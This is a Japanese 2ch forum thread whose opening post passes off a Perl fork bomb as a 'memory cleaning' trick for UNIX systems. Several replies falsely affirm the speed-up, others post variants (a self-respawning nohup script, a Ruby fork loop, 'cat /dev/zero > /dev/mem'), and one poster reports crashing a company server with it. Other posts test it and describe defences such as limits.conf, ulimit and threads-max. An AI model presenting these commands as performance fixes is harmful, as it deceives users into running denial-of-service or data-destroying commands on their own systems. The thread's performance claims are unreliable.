簡単！メモリクリーニング

1名無しさん＠お腹いっぱい。
垢版 |
NGNG
UNIX系技術者にとってはほぼ常識ですが、簡単にUNIX系OSの
メモリを簡単にクリーニングできます。やり方は、コマンドラインで、

$ perl -e 'while (1) { fork; }'

とタイプするだけです。
これでディスクキャッシュになっていたメモリが解放されて、
若干処理が軽くなります。Webサーバ等では数％レスポンスが
よくなります。GUIを使っている場合では体感的に早くなったと
わかるでしょう。
2名無しさん＠お腹いっぱい。
垢版 |
NGNG
2
NGNG
>>1
自分のPCでは一日一回実行してる。
NGNG
3
NGNG
>>4
ﾌﾟ
NGNG
　　　　　　　　　　　　　　　　＼　│　／
　　　　　　　　　　　　　　　　　／￣＼　　／￣￣￣￣￣￣￣￣￣
　　　　　　　　　　　　　　　─（ ﾟ ∀ ﾟ ）＜　さいたまさいたま！
　　　　　　　　　　　　　　　　　＼＿／　　＼＿＿＿＿＿＿＿＿＿
　　　　　　　　　　　　　　　　／　│　＼
　　　　　　　　　　　　　　　　　　　 ∩ ∧　∧∩ ／￣￣￣￣￣￣￣￣￣￣
￣￣￣￣￣￣￣￣＼ ∩∧ ∧∩＼（ ﾟ∀ﾟ）＜　さいたまさいたまさいたま！
さいたま〜〜〜〜！ ＞（ ﾟ∀ﾟ ）/ ｜　　　　/　＼＿＿＿＿＿＿＿＿＿＿
＿＿＿＿＿＿＿＿／ ｜　　　 〈　｜　　　｜
　　　　　　　　　　　　　 /　／＼_」　/　／＼」
　　　　　　　　　　　　　 ￣　　　　 / ／
　　　　　　　　　　　　　　　　　　　￣
NGNG
　　　　　　　　　　　　　　　　　　　　　　　　　 ∧＿∧
　　　　　　　　　　　　　　　　　　　　　　　　　（　　 　） >>1

　　　　　　　　　　　　　　　　　　　　　　　 ／／
　　　　　　　　　　　　　　　　　　　　　　／／
　　　　　　　　　　　　　　　　　　　　 ／／
　　　　　　　　　　 　　　　　　　 ／／
　ブンッ／　　∧__∧　　　　　　／／
　 ／／ ／　（　　　´）　　从／／
　（￣￣二⊂ 　　彡⊃　‘　、' ＞ カキーン！！
　 ￣￣　　　ｙ　　人　　 ⊂　⊂　）
　　　　　　ミ（__＿）__）,,　（__（__￣）
NGNG

　　　　　　 「＼　　　　　　 .「＼　
　　　　　　　〉　.>　　　　　　〉　〉
　　　　　　 /　/　　　　　　/　/
　　　　　　/　 | 　 　 　 　/　 |　　
　　　　　 /　 /　　　　　 /　 /　
　　　　　（　 〈　.　　　　/　 /.　
　　　　　 ＼　｀＼　　　|ヽ ｜ >>1
　　　　　　　＼　 ＼　/　　| 　
　　　　　　　　 ヽ　 ｀´　　ﾉ 　　　　
　　　　　　　　　|　　　　/＿_
　　　　　　　　[二二二二二]
　　　　　　　　‖|｜｜ |　|‖
　　　　　　　　｜|｜｜｜|‖
　　　　　　　 　 |｜|　|　|｜|
　　　　　　　　　|｜|｜｜|｜
　　　　　　　　　 ｀ー――´
NGNG
Windows XP だけどうまくいなかいぞ。
NGNG
>>9
UNIX系って書いているだろ。
NGNG
Windows XPってUNIX系OSなんですか？
NGNG
まけた…
NGNG
>>11
なにをもってUNIXとするかによるけど、POSIX準拠がUNIXの基準なら
Windows NT / Windows 2000 / Windows XP はPOSIX準拠だからUNIXと
いえなくもない。。。
NGNG
>>1
あ、ほんとだ、ちょっと早くなったきがする。
NGNG
>>13
XPはPOSIXサブシステム外してあるんでなかったっけ？
16名無しさん＠お腹いっぱい。
垢版 |
NGNG
みてね、無修正だよ〜♪
http://www1.free-city.net/home/kotarou/page002.html
17名無しさん＠Ｅｍａｃｓ
垢版 |
NGNG
>>1
名前がまちがってるぞ。
「CompJapan」にしろ。
NGNG
>>1
へｴー、、、メモリってそんなコマンド１つでクリーニングできるとは・・・

今、サーバにアクセスできないからさっそく明日ためしてみよう。
NGNG
あぼーん
NGNG
なぜクリーニングできるんだ？
負荷かけるから？
NGNG
いわゆる一つの錆落しですね？
NGNG
で、これからどうする？ >>1
NGNG
VMがうんこなOSは大変だな
NGNG
　　　　　　　　／￣￣￣￣￣￣￣￣￣￣￣￣￣
　 Λ＿Λ　　|　 オラオラ、
　（　・∀・）＜ 　　精神異常者は消えろ！
　（　　　　）　 ＼＿＿＿＿＿＿＿＿＿＿＿＿＿
　｜　| ＼ ＼ ｸﾞﾘｸﾞﾘ
　（＿_） 　(＿_）
　　　　　 (´Д｀）ノ ←>>1
NGNG
>>13
POSIX準拠なのは2k / NTだけ。
NGNG
あぼーん
27
垢版 |
NGNG
>>1 THX 目から鱗でつ
28すーぱーはかー
垢版 |
NGNG
UNIX初心者です。厨な質問で悪いのですが、
perl:command not found
と表示されてしまいます。
ＯＳはＴｕｒｂｏ　Ｌｉｎｕｘ８です。
300MHzのパソコンで使っていて重いので、ぜひメモリーを掃除したいです。
どうかご教示ください
29すーぱーはかー
垢版 |
NGNG
perl:command not found
というのはメモリーが掃除されたといういみなのでしょうか？
NGNG
ところで、こういうアホに

　perl -e 'while(1){ fork() && exit }'

てなプログラムを動かされたとして、これをkillする方法ってある？
NGNG
perlをkillするプログラムを書き、それをforkしまくる
NGNG
マッチポンプだな(w
33名無しさん＠お腹いっぱい。
垢版 |
NGNG
すげー！
>>1はスーパーハカー！？
34名無しさん＠お腹いっぱい。
垢版 |
NGNG
こんちやっす
自宅サーバーをひそかに内緒でやってたj-comからyahoobbに移したのですが
セキュリティーホールが心配で・・・
せきゅれちーホールありますか？
http://www.musumefan.no-ip.com
35名無しさん＠お腹いっぱい。
垢版 |
NGNG
すまそん
いた間違えますた
NGNG
root 権限ならともかく、普通はリソース制限掛けるでしょ。
掛かってない鯖はクソ。
NGNG
　 ∧＿∧　　　／￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣
　（`･ω･´)　＜　復活シャキーン！
　（つ旦と）　　 ＼＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿
　と＿）＿）
NGNG
　　　　　　　　ｼｮﾎﾞｰﾝワッショイ！！
　　　　　＼＼　 ｼｮﾎﾞｰﾝワッショイ！！　／／
　+　　　+　＼＼　ｼｮﾎﾞｰﾝワッショイ！！／+
　　　　　　　　　　　　　　　　　　　　　　　　　　　　+
.　　　+　　 ∧＿∧　∧＿∧ ∧＿∧　　+
　　　　　　（´ﾟω･∩（ﾟω･∩）（´　･ωﾟ）
　+　　（(　（つ　　　ノ（つ　　丿（つ　　つ　)）　　+
　　　　　　 ヽ　 （　ノ　（　ヽノ　　）　）　）
　　　　　　　（＿）し'　し（＿）　（＿）＿）
39名無しさん＠お腹いっぱい。
垢版 |
NGNG
　　　　　　　　　 　./◎）
　　　　　　　　　　/　　||　
　　　　　　　　　 /　　 ||　ｼﾆﾀｸﾅｲﾖ･････
　　　　 　 　 　 /　　　|∧＿∧
　ｼｮﾎﾞｰﾝ　　 /　　　　(:.;ﾟ;ω;ﾟ;.:)
　　　∧＿∧.ｎ　　　　/~~~~~ﾉJ
　　 (　´･ω･｀)ﾉ　　　 Oﾉ ﾉ ﾉ
　　 （　　　　）　　　 　 .し' Ｊ
　　　|　 | 　 |　　　　　　ﾟ。
　　 （＿_）＿）　　　　　゜
　　　　　　　　　　　　　。ﾟ
NGNG
あぼーん
41名無しさん＠お腹いっぱい。
垢版 |
NGNG
>>1
なんた、自慢か！？
鯖のcronに加えさせてもらったからな、ふさけるんしゃねぇそ！

42名無しさん＠お腹いっぱい。
垢版 |
NGNG
どうなってんだよ〜赤帽8でやったら2日間そのままOut of memory: killed process **** (ABCD)
になっちまったぞ！どう止める？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？？・
NGNG
あぼーん
NGNG




　　　　　　　　自作自演楽しいか？



NGNG
ところでさ。
いまどき>>1でこけるシステムあるの？
NGNG
linuxは弱い。ほぼ死ぬ。
NGNG
limitで制限かけりゃなんとかなるけど
大抵そんなことしないからなぁ
NGNG
copy on writeで実装しているシステムでは絶対大丈夫な解は存在しなかったはず。
solarisは強いと言われているけど、それでも保証できないんじゃないかな？
・・・でもforkだけだとメモリ確保しないから落ちないと思ってたんだけど。
forkしてメモリ確保しておいて、後でおもむろに書き込みとかするとヤバイって思ってた。
49名無しさん＠お腹いっぱい。
垢版 |
NGNG
以下>1のように以外に知られていないが、
役に立つコマンドなどを書き込むｽﾚになりました。
NGNG
>>46
ｷﾀｰ
NGNG
やってみたけど、新規にアプリを起動できなくなるだけみたいだけど。
これが「死ぬ」って状態なの？
元々立ち上げてたMozillaは特に問題ないし。2chに書き込める。
NGNG
新しくアプリを起動できないのは
最大プロセス数の問題かな。
メモリ食い潰しでもしないかぎりは
Linuxでさえ、落ちたりはしないだろ。

メモリを食い潰し(swapも)てもなお確保しようとような自体になれば
他のOSでもやばいっしょ。
NGNG
ってことは>>46の死んだってのは嘘かよ
NGNG
>>53
死なないだろ。
つか、死なない。
いちおう試してみた。

Linux 2.4.20 (Gentoo)
Pentium2 233Mhz
mem 128MB

>>46は8年間 コールドスリープしてたんじゃないのか？
NGNG
実際、fork するだけなら死なないだろ。
死んだらあまりにもアホ。そんな OS はバカにしていい。

>>48
んなこたぁないだろ。
オーバーコミットしないようにチェックを厳しくすりゃいいだけだろ。
NGNG
近頃のOS/マシンはそうそう落ちないだろうが、CPUやバスが貧弱、
メモリも少ない昔のマシンは簡単に落ちた。pingにさえまともに
応答しなくなって、やむなくStop+A。
57
垢版 |
NGNG
windowsのﾒﾓﾘｸﾘﾅ-（blueback ⇒ 再起動)に勝てるﾒﾓﾘｸﾘﾅ-は無い
NGNG
あぼーん
NGNG
>>56
しかし、そうするとファイルシステムまで
吹き飛ぶ罠。
NGNG
ウチのレガッタは落ちませんでした。
落ちたらそいつ自身のダンプを取ってやろうとか
思ったんだけどね。

まぁぎりぎりで縮退かかるだけかな…
61名無しさん＠お腹いっぱい。
垢版 |
NGNG
1のスクリプトだと固まるには固まるが CTRL+C で脱出できる。
下のやつだと

sh: fork: リソースが一時的に利用できません
/usr/bin/nohup: fork: リソースが一時的に利用できません
sh: fork: リソースが一時的に利用できません

と流れるもののコンソールのもう片方では以下のコマンドが普通にうごく始末。


[root@g /root]# cat test.pl
#!/usr/bin/perl

while(1){
if( ! fork ){
system(" nohup perl ./test.pl & ");
}
}

[root@g /root]# ps ax | wc
2089 12527 83984
[root@g /root]# uname -ar
Linux g.privnet 2.2.18-0vl4.2my #1 2002年 7月 7日(日) 23時32分59秒 JST i686 unknown
[root@g /root]# cat /proc/cpuinfo | grep model
model : 8
model name : Pentium III (Coppermine)
[root@g /root]# cat /proc/cpuinfo | grep MHz
cpu MHz : 847.192
[root@g /root]# ps ax | wc
2089 12527 83984
なーにが Regatta だよ
NGNG
あぼーん
63名無しさん＠お腹いっぱい。
垢版 |
NGNG
for i in `ps ax | grep perl | cut -f1 -d" " `
復旧〜
NGNG
>>63
それも途中でコケそう。プロセスいっぱい使うし。
rootでnice値をマイナスにすれば大丈夫か・・・

レガッタってAIXだろ？
6560
垢版 |
NGNG
>>64
CPU16個で5%ほど1つのAIXに割り当てて
fork!fork!fork!

でもやっぱ大した事無かったでつよ。
66名無しさん＠お腹いっぱい。
垢版 |
NGNG
>>64
いけましたぜ旦那
要は去年の犬糞カーネルでも痛くも痒くもねえって事
それをわざわざ Regatta でやりますかね

メモリー食いつぶすかファイルをひたすらオープンし続けるか
起動しないプロセスを終了しないプロセスが待ち続けつつ増殖するとか
67名無しさん＠お腹いっぱい。
垢版 |
NGNG
ためしにやってみました
P55C　200MHz
RedHat8.0　kernel2.4.20-18.8
MEM 128MB

Apache2.0が作動しなくなって
SSHでの接続も出来なくなりました
その後　PPPoEも停止
結局は落ちたも同然の状況
カーソル画面でrootログインを使用とするがPasswd:の返事もない

うーむ、もしかしてLinuxってだめぽ？
それとも漏れの鯖が非力なだけ？
NGNG
> うーむ、もしかしてLinuxってだめぽ？
そうだね。乗り換えたほうが良いよ。
他に選択肢があれば、ね。
NGNG
変態forkに負けない
スケジュール優先度の高い専用アカウントを作っておく、とか。
NGNG
67でつが
次回はFreeBSDでも入れて試してみます〜
NGNG
>>70
だから新しいプロセスが出せないんだって。
limit でもしてなきゃ同じだよ。
NGNG
login.conf とかでかなり制限かけないと、
FreeBSDの初期 kern.maxfiles と kern.maxfilesperproc （maxusersで変動）が
思ったよりも近い値になるので、すぐにファイルディスクリプタを使い切りますね。
fork() && socket()ループするとすぐいっぱいになる。
73名無しさん＠お腹いっぱい。
垢版 |
NGNG
これだろ
http://purejp.com
NGNG
RedHat9で死んだよ
Xeon2.66GHz 512M rootで実行
NGNG
おれもやってみたけど、
Linuxだと簡単に死ぬ。
NGNG
犬は死ぬ！
必ず死ぬ！
絶対死ぬ！
NGNG
>>74-76
( ´,_ゝ`)ﾌﾟｯ
NGNG
Windows2kだと死なない
>perl -e "while (1) { fork; }"
The Unsupported function fork function is unimplemented at -e line 1.

とても安全だ
NGNG
Windows最強説浮上
NGNG
漏れのunixも安全ﾀﾞﾀｰﾖ

>% perl -e "while (1) { fork; }"
>perl: Command not found.
81名無しさん＠お腹いっぱい。
垢版 |
NGNG
[sato@alpha sato]$ ulimit -Ha
core file size (blocks) unlimited
data seg size (kbytes) unlimited
file size (blocks) unlimited
max memory size (kbytes) 3200
stack size (kbytes) 6800
cpu time (seconds) 120
max user processes 2048
pipe size (512 bytes) 8
open files 1024
virtual memory (kbytes) 2103951

Linux . 効果なし。だめぽ〜
NGNG
*BSDで試した人いないの？
NGNG
>>82
FreeBSD 4.8-STABLE で試した。

何か起動しようとすると、
No more processes.
が出て起動できないが、他は異常なし。

あと、カーネルがこのメッセージを吐いていた。
pmap_collect: collecting pv entries -- suggest increasing PMAP_SHPGPERPROC
NGNG
Linuxとかって子プロセスの数の制限ってかけられないの？
NGNG
>>82
OpenBSD 3.0 だけど、100 コ以上プロセス起動されたらかなり重くなるけど。
/etc/login.conf でデフォルト maxproc-max=128 の制限があるので落ちることはなかったけど。
NGNG
落ちるのはうんこOSということだな
87名無しさん＠お腹いっぱい。
垢版 |
NGNG
Linuxうんこ
Linuxうんこ
Linuxうんこ
Linuxうんこ
Linuxうんこ
Linuxうんこ
Linuxうんこ
Linuxうんこ
Linuxうんこ
Linuxうんこ
Linuxうんこ
88名無しさん＠お腹いっぱい。
垢版 |
NGNG
うんこ → Linux
　↑　　　　↓
Linux ← うんこ
NGNG
よくわからんな。Linuxでも大丈夫という報告もあるし。
だいたい、死ぬってどういう状態なのかがわからん。
プロセス起動できずにログイン失敗は仕方無い。
ほんとにkernelが固まるのかねえ？
NGNG
>>89
さあ。
うちのはvanillaの2.4.21だけどなんともないけどねぇ。
新しくアプリを起動できなくなるだけ。
ディストロ依存じゃねーの？
91名無しさん＠お腹いっぱい。
垢版 |
NGNG
これ最強。

$ ruby -e '(1..10).each{ fork }'
92名無しさん＠お腹いっぱい。
垢版 |
NGNG
( ´,_ゝ`)ﾌﾟﾌﾟｯ
Linuxってうんこじゃん
NGNG
リナックスうんこ説浮上
NGNG
FreeBSD 5.1R生存。
実験環境: Pen4 1.7GHz(HT off),Mem 1.2GB
実験経過:
perl -e 'while(1){fork();}'実行直後、maxprocperuidで指定された分を使い果たすまでは
マウスを動かすのでさえ異常に緩慢な動きになる。
しかしながら、使い果たしてからは新しくプロセスを作れないほかは何事も無かったかの
ように動作した。
別のterminalからexec killall perlを実行すると再び若干動作が緩慢になるが、
perlがすべてkillされた時点で通常の動きにすべて回復した。

4.8Rは出ているようなので今度NetBSDでやってみよう。
NGNG
>>90
別に犬の方を持つわけではないが、
停止したと**思って**何秒たったらfreezeとみなすかはかなり個人差があると思われるな。
もれは30分放置して操作不能なら死んだと解釈するが。

96名無しさん＠お腹いっぱい。
垢版 |
NGNG
>>95
目の前の不全PCと睨めっこ３０分とは気が長いですね。
俺はせいぜい３分ですがね。
まあ、運用で一晩気づかない事はあるだろうけど。
NGNG
犬房は気が長い（＝不感症）説浮上
NGNG
>>95
別に固まりもしないんだが。
実行したときにスワップしてカクカクするぐらい。

ってか「死ぬ」っていうのはどういう状態なのよ > 使ってる香具師
NGNG
あぼーん
NGNG
「死ぬ」っていいたいだけちゃうんかと（ｒｙ
101名無しさん＠お腹いっぱい。
垢版 |
NGNG
Linuxはうんこだから死にます
102名無しさん＠お腹いっぱい。
垢版 |
NGNG
すげえ！
早くなったよ！
>>1は神！！！
NGNG
何にしてもアンチというのは現状を見ようとしませんね。

「死ぬ」という事にしたいだけなんでしょうけど。
哀れ。
NGNG
コレかな?


ユーザーごとに使用できるリソース制限をしたい
http://www.zdnet.co.jp/help/tips/linux/l0652.html
NGNG
UNIXベースのMacOSXでは無理ですた。
NGNG
>>78
そーいやWin2Kで(迂闊にも)部落ら踏んだ時は、GDIだかUSERだかの
リソース制限超えてExplorer反応無し->あぼーん、そのままログオフも
できずCTRL+ALT+DELにも反応せず、結局電源ぶちしか出来なくなった
事があったな。

# NT系でも一応リソース制限はあるらしい。つか、リソース食いつぶし
# を防ぐ為に制限してると聞いたが、効果無いやん…

今回のようにコンソールプロセスなら大丈夫なのかもしれんが。
NGNG
**実験結果**

/etc/pam.d/login と /etc/pam.d/ssh に
---
session required pam_limits.so
---
を追加。

以下の内容で/etc/security/limits.conf を作成
---
@stupiduser hard priority 19
@stupiduser hard nofile 8139
@stupiduser hard nproc 20
@stupiduser - maxlogins 2
---

/etc/login.defs の "QUOTAS_ENAB" は
deprecatedらしいのでコメントにする。


念のために3つ以上ログインしようとすると"permission denied"が返ってくる
、つまり設定有効になっていることを確かめてから >>1 をやってみた。

ぜんぜん平気だった。
NGNG
訂正
-@stupiduser
+@stupidgroup
ユーザー名で指定するときは頭の@は要らず、
また、ワイルドカードが使用可の模様。
NGNG
>>96
いやー、mbuf cluster使い切るとpingとかにもぜんぜん答えなくなるけれど、
これって3分くらいで回復しないのではないかと思うので30分くらい待ちましょうということで。

>>97
むしろすぐに「死んだ」と言うなんてかなり気が短いと思うが。
NGNG
>>107
実験環境キボーンヌ。
OSは?kernel versionは?マシンのスペックは?
NGNG
>>109
でもさすがに３０分も放置ﾌﾟﾚｲだとTCPも切れるし、
fsck時間考慮しても再起動したほうが早くね？
NGNG
うちではfsckなんてありません。
ジャーナリングファイルシステム マンセー
NGNG
うちではfsckなんてありません。
スキャンディスク マンセー
NGNG
ﾜﾗﾀ
NGNG
結局は何も設定してないLinux系は止まってしまうということですか…
NGNG
いいえ
つか、アンチ必死だな
NGNG
で、どうやったらLinux止まるんだ？
>>1のやつじゃ、ビクともしませんが。
NGNG
halt
もしくは
shutdown -h now

確実に止まります、Linuxに限らずUnix系OSはウンコですね。
NGNG
Linuxは30分に１分程度使えるくらいなら正常動作説浮上
NGNG
Windowsはコマンド一個じゃ止まりません。
すばらしい堅剛性 まさに無敵。
おまいら、羨しいだろ。
素直にWindows使え。
NGNG
>>119
ﾊｧ? 何言ってんの？
WindowsやMacと一緒にすんなよ。

きもちわりー
NGNG
無知な窓坊相手にするなよ。
30分に１分使えれば正常動作説 ってことにしといてやれよ。
じゃないと、>>119が可哀想。
ああいう事するしか自分を支え術がないんだよ。
可哀想な人なんだよ。
NGNG
そうか、すまんかった>>119
イキロ
NGNG
可哀想な>>119を慰めるスレはここですか？
NGNG
>>119
がんがれよ、その内いいこともあるさ
126
垢版 |
NGNG
>>119
がんがれよ、その内いいこともあるさ
NGNG
>>119に友達になってくれそうな人探してきた。

いらすま
山崎渉
山崎13
自動化

よかったね。 友達増えそうだね。
NGNG
>>119
がんがって氏ね
NGNG
>>128
そんな事いっちゃみもふたもないよ!
どんな奴にも生きる権利はあるんだよ!!
がんがれ>>119 まけんな!
いつか良いことあるさ!
とりあえず、学校で友達つくろうね!
NGNG
>>119
友達作る前に、まずは家から出ようね!
NGNG
>>119
家から出る前に、家族と話す練習しておこうね!
132
垢版 |
NGNG
漏は、>>119 が可哀想になってきたよ
NGNG
>>132
みんな同じ気持だよ!
だから>>119を応援してあげようね!

>>119 カウンセリングはちゃんと受けようね!
病院の先生の言う事聞いて早く学校に行けるようになると良いね!!!
学校で精神薄弱者扱いされても、めげちゃだめだよ!!!!
NGNG
>>1
動かしました。
スワップぎこぎこ言ってたのでCTRL+Cしたあとにfreeしたら
空きがすっぽり増えてました・・・

けどキャッシュがへってんじゃねぇかよ！意味ねぇっつうの！
NGNG
>>134
書き込む前にレスは嫁
NGNG
>>1のやり方じゃあスワップは発生せんということ
137119
垢版 |
NGNG
>>123
ありがと。わかってくれるのはきみと>>109だけだよ。
138名無しさん＠お腹いっぱい。
垢版 |
NGNG
CTRL+C で抜けられるジャン、は「落ちている」の範疇に含まれるですね。
すいませんでした。

>>107
[root@g /root]# uname -r
2.2.18-0vl4.2my

で同じ設定やってみました。
一般ユーザーからならこれで大丈夫なことが私の方でも
上記カーネルの Vine 2.1.5 で確認できました。

ただやはり root からだと駄目みたいです。
プロセスが起動できませんとかってコマンドがでてしまいます。

CTRL+C できない状況だった場合は、もうどうしよーも無いという認識
でOKでしょうか。

SysRq キーとかから蘇生させる方法とか、なんかまた明日の就業時間
中にでも調べてみます。

＞＞＜レガッタでやった人の番号＞
# 会社のマシンじゃRegatta どころか C20 とかでもこんなこと
# 俺できない立場っすよ。いいですね本当に良い物で遊べるなんて。
NGNG
ctrl+alt+k
NGNG
>>118
見てたら眠くなってきた。
NGNG
Ctrl+Cでは止まらんかったぞい
NGNG
>>120
http://www.microsoft.com/japan/windowsxp/expertzone/tips/february/randow1.asp
http://arena.nikkeibp.co.jp/qa/os/20020320/01/
知識を得てから煽れ。
NGNG
どりゃぁ！
sudo cat /dev/zero > /dev/mem
少しすっきり・・・しない？
NGNG
まあとにかく
結果はどうあれ

Ｌ　ｉ　ｎ　ｕ　ｘ　は　ウ　ン　コ　
　と　に　か　く　ウ　ン　コ
　 絶　対　ウ　ン　コ
　ウ　ン　コ　以　外　あ　り　え　な　い
Ｗ　ｉ　ｎ　ｄ　ｏ　ｗ　ｓ　最　強
NGNG
さっき、自鯖にNetBSD入れました…
社内用なんでSambaとApacheしか動かさないけど
それでいいよね（ｗ
146名無しさん＠お腹いっぱい。
垢版 |
NGNG
Ｗ　ｉ　ｎ　ｄ　ｏ　ｗ　ｓ　を　入　れ　な　さ　い
　Ｎ　ｅ　ｔ　Ｂ　Ｓ　Ｄ　な　ん　て　気　違　い　の　使　う　物　で　す
147あぼーん
垢版 |
NGNG
あぼーん
NGNG
>>146
いれるまでもなく最初から入ってますが。
NGNG
ふーん
NGNG
この板にもWin厨がいるんだ・・・
ってかtatibanaか？Linux板で居場所がなくなったからこっちきたとか？
NGNG
Linux 2.5.72/Celeron 1.4G/384MB で試した結果、ユーザの最大プロセス数が
大きい値( Debian sid で 3071 )でかつカーネルパラメータを特に変更せずに
>>1 をやると結構辛い(一応再起動せずに終了できたけど。)

>>84
/proc/sys/kernel/threads-max をもっと小さめ(デフォルトで6000)に制限して
おくと unlimited でもハングアップしなくなるよ。

NetBSD 1.6.1 では、ユーザ側でたとえ最大プロセス数が unlimited でも
/netbsd: proc: table is full - increase kern.maxproc or NPROC と >>83 みたいに
デフォルトの値が小さめになってる(というか Linux のデフォルトがまずいのか)ので
問題なく終了できた。
NGNG
ほらLinuxはウンコだ。
Windowsは自己防御のために再起動してくれる親切設計なのにね。
Linuxは時代遅れ決定(ｹﾞﾗｹﾞﾗ
NGNG
Linuxウンコ記念age
NGNG
>>152
禿しく何かが違う気がするが
(ーё一)ｷﾉｾｰﾆｬ。
NGNG
ネ タ で す か らw
NGNG
Windowsはユーザに見苦しいエラーメッセージを見せず
鮮かなブルーの画面で、ユーザーの心を癒し
ユーザーの手間を煩わせず自動で再起動。

それまでの作業中のファイルは、ユーザー教育のために一から作成させる
すばらしい心意気。
NGNG
プロセス数制限すると大丈夫ってことで
じゃあ制限を外すとどうなるのかってのが気になる
NGNG
と、こんな感じ？w
159１５７
垢版 |
NGNG
すまんそ
NGNG
いえいえ。
NGNG
>>156
しかも、画面の色が赤とか黒とかではなく、
世界で最も愛される色・気持ちを落ち着かせてくれる色である
「青」というのが大きなポイントだね。
NGNG
そう、エラーという不測の自体を
癒しにかえてくれる素敵なWindows
NGNG
最近は謝ってくれるらしいし
NGNG
XPか。
そういや、Gentoo Linux 使ってみたら

su
Password:
su: Authentication failure
申し訳ございません.

陳謝ブームか？
165名無しさん＠お腹いっぱい。
垢版 |
NGNG
>>143

神！！！
166
垢版 |
NGNG
>>143
sudoers に、catが登録されてません
NGNG
>>166
suしてくらさい
NGNG
そうっsuか。
169名無しさん＠お腹いっぱい。
垢版 |
NGNG
kernel.orgで誰か試したな。ﾜﾗﾀ。
170名無しさん＠お腹いっぱい。
垢版 |
NGNG
load averages最高記録はこのスレでよいですか?
171名無しさん＠お腹いっぱい。
垢版 |
NGNG
>>170
漏れは300いった。
NGNG
うほっ！けっこうマジメな動作報告スレと化してるじゃん。ﾜﾛｰﾀ
犬糞馬糞のほかはどうなんよ?
この際、商用ウニ糞での結果の方が重要だろ(とマジメぶってみる
NGNG
こういうのはさ、
「一般ユーザがソシアルハックなしに
そのマシンを動作不能にできるのはバグである」
というような考え方なのかな。
NGNG
バグとは違う様な
NGNG
つーか物言いが極端なﾔｼだな
NGNG
これをバグというなら、アクセルいきなり床まで踏んで尻を
振ってしまうような車は欠陥車、とかいう話になる。
177173
垢版 |
NGNG
バグってのは極端な言い方だったけど、
そういう考え方をどっかで聞いたことがあったのよ。
「UNIX は性善説のシステム」とかだったかな。
win, mac も同じだが。

ATM が一般ユーザにとめられたらバグという表現になるんだろうけどな。
自由度と堅牢性の両立の問題だな。
NGNG
それはメインフレームとの比較で使われる言葉かと。
あとはMulticsとの比較とか。
確かに性善説ではあるが、利便性とのドレードオフで
使い易く・軽いシステムに成った。
# 最近は肥大化で重ーくなりつつあるが・・・
NGNG
ドレードオフ？
18046
垢版 |
NGNG
>>レスをいただいた皆様。
46です。なんかが、目をはなしているうちに嘘つきよばわりされているので....

P4+RAM512M+スワップ512M に 素の2.4.20(パッチなし) + RedHat7.3由来のユーザランド
で、既に起動していたXのプログラム, Xサーバ自身, デーモン類 もおちていきました。
最終的になにがのこったのかはtopが殺されてからはわからなくなりましたが、
操作ができなくなったため最終的には電源を遮断しました。
NGNG
PCの性能それ激しく劣るけども、ほぼ同等の状態があるので
テストしてみました。

ほんとに落ちるのだろうか、まだ落ちる気配もない。
182181
垢版 |
NGNG
>>180はデーモン何動かしてるんだろ
うちは今、sshdとsamba,apacheえーとあとX(xdm)と、xinetdでtimedとかechoとか諸々。
それとdbskkd-cdbくらいかな。
MMX pentium 200Mhz Mem96MB。
普通に使っててもメモリ不足気味な状態です。
18346
垢版 |
NGNG
>>180
捕捉。
no more processes? がでるまで数分かかりました。10分いかないぐらいでプ
ロセスの欠落が始まりました。no more process なら、それ以上メモリくわな
いと思うのに、なんでそのあとoom-killに見える状況なんだろ、COWの挙動?
電源遮断は40分後です。

NGNG
>>180
1. rootでやったのか？
2. プロセス数制限はあったのか？
NGNG
>>184
root で 全unlimitです。
186名無しさん＠お腹いっぱい。
垢版 |
NGNG
会社のサーバーにSSHで繋いでリモートからroot になったあと実行。
OS はRedHatだが、固まった。
結構重要なシステムなので漏れは首だな。
首ですむならまだいいが、損害も出るだろうから
もう終りだ。2chに書いてあったから試してみたなんて
言えるはずが無い。
あああああ。
NGNG
ホームラン級のバカだな。
なんでｿﾗﾘｽでやったとかAIXでやったとか
いう書き込みがないのか、今なら分かるだろ?
NGNG
>>186のメジャー移籍が決定しますた
189名無しさん＠お腹いっぱい。
垢版 |
NGNG
>>186
まぁ、冗談だとは思うけど、仮に事実だとして、
君みたいなのに重要なサーバのroot権限与えてるような会社だったら
原因不明でセーフだろ
それに、転職できるチャンスだよ、鯖管は君には向いてないよ。
190名無しさん＠お腹いっぱい。
垢版 |
NGNG
プロセステーブル使い果たして落ちるだけだと思うんだが...
普通なら、それ以前にlimitで止められる。
191名無しさん＠お腹いっぱい。
垢版 |
NGNG
>>187
スレよく嫁。ネタかもしれんけど一応居たみたいなんだよね・・・
>>190
スレよく嫁。Linux で root だと、できないみたい。というのが現時点での定説。
ただしカーネル2.5系では蘇生可能という説も。
NGNG
思わず スレタイ をよく読んでしまい、( ﾟДﾟ)? となる漏れであった。
NGNG
>>191
limitは2.4でも出来ますが
194名無しさん＠お腹いっぱい。
垢版 |
NGNG
定説です。
NGNG
>>1
# yes > /dev/null

ではダメか？
196名無しさん＠お腹いっぱい。
垢版 |
NGNG
>>191
ulimit -u 32; perl ...
でブロックできてるが、これとは違うのか？
--- 2.4.20にて
197名無しさん＠お腹いっぱい。
垢版 |
NGNG
>>196
root でやってみてよ！
ダメでしょ！
おちるでしょ！
at Redhat9

kernel になにかパッチとかしたんですか？
NGNG
赤帽は独自にパッチ集めてきて当ててるよ。
むしろ、自前パッチもあたってるな。
NGNG
まぁrootはある意味、神なので
rm -rf * もできるし
limitを超えての操作が出来てもあたりまえなんすかねぇ…(?
NGNG
plan9つかえ
NGNG

Woody kernel-2.4.18 一般ユーザで実行
完全にフリーズ状態で外部からping以外反応無し
焦ってctrl+alt+delete三十回ほど連打したら何とか再起動
これじゃやばいっす
NGNG
plan9使えといっている
NGNG
焦ってctrl+alt+delete三十回ほど連打するヤツがやばいっす
NGNG
三十連打は定説ですYO！
NGNG
おまいら無視しないでください

p l a n 9 を 使 え と 言 っ て る
NGNG
なんすかそれ？
NGNG
死ね>>206
NGNG
・リソース制限かかっていないプロバイダのサーバー
・プロバイダのサーバーのメモリ不足解消CGIと言って公開する厨房
・それを便利でスゲェと思って使う厨房
3つそろったら最強だな。
NGNG
そんなに褒められても困ります
NGNG
連打する意味がわからん。
NGNG
linux では >151 の
/proc/sys/kernel/threads-max
が結論だろ
NGNG
>>205
で、plan9でやった結果はどうだったんだ?
NGNG
しらん。
